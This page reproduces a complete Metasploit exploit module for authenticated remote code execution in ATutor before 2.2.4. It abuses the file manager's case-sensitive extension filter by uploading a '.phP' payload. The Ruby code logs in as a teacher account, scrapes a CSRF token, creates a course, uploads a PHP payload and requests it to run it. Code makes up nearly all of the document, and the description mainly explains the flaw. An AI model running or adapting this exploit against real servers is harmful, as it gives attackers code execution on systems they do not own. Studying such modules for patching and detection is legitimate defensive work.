ExploitFixes
ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit) 2019-04-12 16:05:05

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' =&gt; &quot;ATutor &lt; 2.2.4 'file_manager' Remote Code Execution&quot;,
'Description' =&gt; %q{
This module allows the user to run commands on the server with teacher user privilege.
The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
The &quot;$IllegalExtensions&quot; function has control weakness and shortcomings.
It is possible to see illegal extensions within &quot;constants.inc.php&quot;. (exe|asp|php|php3|php5|cgi|bat...)
However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as &quot;.phP&quot;, &quot;.Php&quot;
It can also be used in dangerous extensions such as &quot;shtml&quot; and &quot;phtml&quot;.
The directory path for the &quot;content&quot; folder is located at &quot;config.inc.php&quot;.
For the exploit to work, the &quot;define ('AT_CONTENT_DIR', 'address')&quot; content folder must be located in the web home directory or the address must be known.

This exploit creates a course with the teacher user and loads the malicious php file into server.
},
'License' =&gt; MSF_LICENSE,
'Author' =&gt;
[
'AkkuS &lt;&Ouml;zkan Mustafa AkkuĊŸ&gt;', # Discovery &amp; PoC &amp; MSF Module
],
'References' =&gt;
[
[ 'CVE', '' ],
[ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
[ 'URL', 'https://atutor.github.io/' ],
[ 'URL', 'http://www.atutor.ca/' ]
],
'Privileged' =&gt; false,
'Payload' =&gt;
{
'DisableNops' =&gt; true,
},
'Platform' =&gt; ['php'],
'Arch' =&gt; ARCH_PHP,
'Targets' =&gt; [[ 'Automatic', { }]],
'DisclosureDate' =&gt; '09 April 2019',
'DefaultTarget' =&gt; 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
],self.class)
end

def exec_payload

send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, &quot;#{datastore['CONTENT_DIR']}&quot;, @course_id, &quot;#{@fn}&quot;)
})
end

def peer
&quot;#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}&quot;
end

def print_status(msg='')
super(&quot;#{peer} - #{msg}&quot;)
end

def print_error(msg='')
super(&quot;#{peer} - #{msg}&quot;)
end

def print_good(msg='')
super(&quot;#{peer} - #{msg}&quot;)
end
##
# Version and Vulnerability Check
##
def check

res = send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, &quot;#{datastore['CONTENT_DIR']}/&quot;)
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 404
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
##
# csrftoken read and create a new course
##
def create_course(cookie, check)

res = send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, &quot;mods&quot;, &quot;_core&quot;, &quot;courses&quot;, &quot;users&quot;, &quot;create_course.php&quot;),
'headers' =&gt;
{
'Referer' =&gt; &quot;#{peer}#{datastore['TARGETURI']}users/index.php&quot;,
'cookie' =&gt; cookie,
},
'agent' =&gt; 'Mozilla'
})

if res &amp;&amp; res.code == 200 &amp;&amp; res.body =~ /Create Course: My Start Pag/
@token = res.body.split('csrftoken&quot; value=&quot;')[1].split('&quot;')[0]
else
return false
end

@course_name = Rex::Text.rand_text_alpha_lower(5)
post_data = Rex::MIME::Message.new
post_data.add_part(@token, nil, nil,'form-data; name=&quot;csrftoken&quot;')
post_data.add_part('true', nil, nil, 'form-data; name=&quot;form_course&quot;')
post_data.add_part(@course_name, nil, nil, 'form-data; name=&quot;title&quot;')
post_data.add_part('top', nil, nil, 'form-data; name=&quot;content_packaging&quot;')
post_data.add_part('protected', nil, nil, 'form-data; name=&quot;access&quot;')
post_data.add_part('Save', nil, nil, 'form-data; name=&quot;submit&quot;')
data = post_data.to_s

res = send_request_cgi({
'method' =&gt; 'POST',
'data' =&gt; data,
'agent' =&gt; 'Mozilla',
'ctype' =&gt; &quot;multipart/form-data; boundary=#{post_data.bound}&quot;,
'cookie' =&gt; cookie,
'uri' =&gt; normalize_uri(target_uri.path, &quot;mods&quot;, &quot;_core&quot;, &quot;courses&quot;, &quot;users&quot;, &quot;create_course.php&quot;)
})

location = res.redirection.to_s
if res &amp;&amp; res.code == 302 &amp;&amp; location.include?('bounce.php?course')
@course_id = location.split('course=')[1].split(&quot;&amp;p&quot;)[0]
return true
else
return false
end
end
##
# Upload malicious file // payload integration
##
def upload_shell(cookie, check)

res = send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, &quot;bounce.php?course=&quot; + @course_id),
'headers' =&gt;
{
'Referer' =&gt; &quot;#{peer}#{datastore['TARGETURI']}users/index.php&quot;,
'cookie' =&gt; cookie,
},
'agent' =&gt; 'Mozilla'
})

ucookie = &quot;ATutorID=#{$2};&quot; if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/

file_name = Rex::Text.rand_text_alpha_lower(8) + &quot;.phP&quot;
@fn = &quot;#{file_name}&quot;
post_data = Rex::MIME::Message.new
post_data.add_part('10485760', nil, nil, 'form-data; name=&quot;MAX_FILE_SIZE&quot;')
post_data.add_part(payload.encoded, 'application/octet-stream', nil, &quot;form-data; name=\&quot;uploadedfile\&quot;; filename=\&quot;#{file_name}\&quot;&quot;)
post_data.add_part('Upload', nil, nil, 'form-data; name=&quot;submit&quot;')
post_data.add_part('', nil, nil, 'form-data; name=&quot;pathext&quot;')

data = post_data.to_s

res = send_request_cgi({
'method' =&gt; 'POST',
'data' =&gt; data,
'agent' =&gt; 'Mozilla',
'ctype' =&gt; &quot;multipart/form-data; boundary=#{post_data.bound}&quot;,
'cookie' =&gt; ucookie,
'uri' =&gt; normalize_uri(target_uri.path, &quot;mods&quot;, &quot;_core&quot;, &quot;file_manager&quot;, &quot;upload.php&quot;)
})

if res &amp;&amp; res.code == 302 &amp;&amp; res.redirection.to_s.include?('index.php?pathext')
print_status(&quot;Trying to upload #{file_name}&quot;)
return true
else
print_status(&quot;Error occurred during uploading!&quot;)
return false
end
end
##
# Password encryption with csrftoken
##
def get_hashed_password(token, password, check)
if check
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end
##
# User login operations
##
def login(username, password, check)
res = send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, &quot;login.php&quot;),
'agent' =&gt; 'Mozilla',
})

token = $1 if res.body =~ /\) \+ \&quot;(.*)\&quot;\);/
cookie = &quot;ATutorID=#{$1};&quot; if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if check
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end

res = send_request_cgi({
'method' =&gt; 'POST',
'uri' =&gt; normalize_uri(target_uri.path, &quot;login.php&quot;),
'vars_post' =&gt; {
'form_password_hidden' =&gt; password,
'form_login' =&gt; username,
'submit' =&gt; 'Login'
},
'cookie' =&gt; cookie,
'agent' =&gt; 'Mozilla'
})
cookie = &quot;ATutorID=#{$2};&quot; if res.get_cookies =~ /(.*); ATutorID=(.*);/

if res &amp;&amp; res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, res.redirection),
'cookie' =&gt; cookie,
'agent' =&gt; 'Mozilla'
})
cookie = &quot;ATutorID=#{$1};&quot; if res.get_cookies =~ /ATutorID=(.*);/
if res &amp;&amp; res.code == 302 &amp;&amp; res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' =&gt; 'GET',
'uri' =&gt; normalize_uri(target_uri.path, res.redirection),
'cookie' =&gt; cookie,
'agent' =&gt; 'Mozilla'
})
cookie = &quot;ATutorID=#{$1};&quot; if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!')
return cookie
end
end

fail_with(Failure::NoAccess, &quot;Authentication failed with username #{username}&quot;)
return nil
end
##
# Exploit controls and information
##
def exploit
tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good(&quot;Logged in as #{datastore['USERNAME']}&quot;)

if create_course(tcookie, true)
print_status(&quot;CSRF Token : &quot; + @token)
print_status(&quot;Course Name : &quot; + @course_name + &quot; Course ID : &quot; + @course_id)
print_good(&quot;New course successfully created.&quot;)
end

if upload_shell(tcookie, true)
print_good(&quot;Upload successfully.&quot;)
print_status(&quot;Trying to exec payload...&quot;)
exec_payload
end
end
end
##
# The end of the adventure (o_O) // AkkuS
##